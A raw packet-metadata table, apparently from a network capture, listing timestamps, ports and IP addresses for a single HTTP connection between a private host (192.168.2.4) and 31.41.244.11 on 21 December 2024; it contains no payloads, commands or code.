Dec 21, 2024 10:15:30.780613899 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.780649900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.781558990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.781635046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.781640053 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.781701088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.782634974 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.782706022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.782735109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.782777071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.783629894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.783704996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.783771992 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.783814907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.784667015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.784744024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.784775019 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.784904957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.785655975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.785763979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.785768986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.785872936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.786664963 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.786721945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.786734104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.786815882 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.787709951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.787751913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.787789106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.787847996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.788750887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.788811922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.788939953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.788995981 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.789796114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.789850950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.789877892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.789959908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.790754080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.790869951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.790877104 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.790993929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.791775942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.791868925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.791876078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.791927099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.792839050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.792943001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.792948008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.792994976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.793823004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.793875933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.793919086 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.794048071 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.794847012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.794936895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.795001030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.795072079 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.795876026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.795928955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.796000957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.796046972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.796881914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.796968937 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.796993017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.797071934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.797964096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.798048973 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.798074961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.798122883 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.798921108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.799051046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.799057961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.799134970 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.799946070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.800071955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.800115108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.800115108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.800968885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.801048994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.801116943 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.801178932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.801995993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.802071095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.802103996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.802150011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.803045988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.803137064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.803142071 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.803199053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.804028988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.804089069 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.804133892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.804239988 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.805073023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.805149078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.805183887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.805248022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.806102991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.806193113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.806194067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.806291103 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.807074070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.807183027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.956208944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.956233978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.956244946 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.956336975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.956895113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.957036972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.957078934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.957210064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.957233906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.957288980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.958034039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.958137035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.958158016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.958235025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.959098101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.959173918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.959176064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.959359884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.960036993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.960110903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.960135937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.960798979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.961107016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.961160898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.961184978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.961251020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.962105989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.962213039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.962256908 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.962258101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.963130951 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.963212967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.963233948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.963377953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.964209080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.964354038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.964358091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.964533091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.965224028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.965333939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.965462923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.966213942 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.966279030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.966314077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.966422081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.967231035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.967329025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.967344046 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.967425108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.968236923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.968373060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.968395948 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.968453884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.969239950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.969384909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.969593048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.970271111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.970371008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.970432043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.971395969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.971565008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.971718073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.972305059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.972413063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.972564936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.973468065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.973541975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.973638058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.974354982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.974464893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.974621058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.975434065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.975505114 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.975538969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.975604057 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.976496935 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.976572990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.976613998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.977363110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.977421045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.977504969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.977534056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.977581024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.978435993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.978530884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.978571892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.978571892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.979477882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.979581118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.979635954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.980467081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.980582952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.980652094 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.981498957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.981538057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.981621027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.982696056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.982795000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.982808113 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.982850075 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.983552933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.983659029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.983737946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.984555960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.984658957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.984678984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.984709978 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.985584021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.985665083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.985701084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.985759020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.986617088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.986732006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.986809969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.987643957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.987766027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.987854004 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.988647938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.988751888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.988929987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.989728928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.989777088 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.989845037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.990787029 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.990896940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.990902901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.991730928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.991786003 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.991827011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.991835117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.991911888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.992734909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.992841005 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.992880106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.993771076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.993834019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.993871927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.994784117 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.994838953 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.994854927 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.995286942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.995812893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.995953083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.996136904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.996860027 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.996968985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.997047901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.997837067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.998032093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.998066902 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.998107910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.998856068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.998956919 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:30.999052048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:30.999883890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.000016928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.000089884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.000921011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.001039982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.001107931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.001951933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.002104044 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.002214909 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.002976894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.003045082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.003098965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.003098965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.003969908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.004045010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.004098892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.004210949 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.004993916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.005105972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.005189896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.005189896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.005994081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.006120920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.006258965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.007008076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.007122993 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.007164001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.007164001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.008074045 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.008152008 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.008152962 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.008236885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.009072065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.010245085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.138911009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.139003992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.139076948 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.139214993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.139571905 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.139585972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.139642954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.140562057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.140660048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.140700102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.140753984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.141520023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.141590118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.141674995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.141731977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.142571926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.142635107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.142710924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.142795086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.143640041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.143652916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.143716097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.143716097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.144390106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.144567013 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.144733906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.145819902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.145886898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.145998001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.146341085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.146701097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.146835089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.147020102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.147092104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.147629976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.147715092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.147939920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.148545980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.148624897 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.148711920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.149327993 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.149825096 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.149836063 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.149895906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.149938107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:31.150758982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.150909901 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:31.151022911 CET	49808	80	192.168.2.4	31.41.244.11
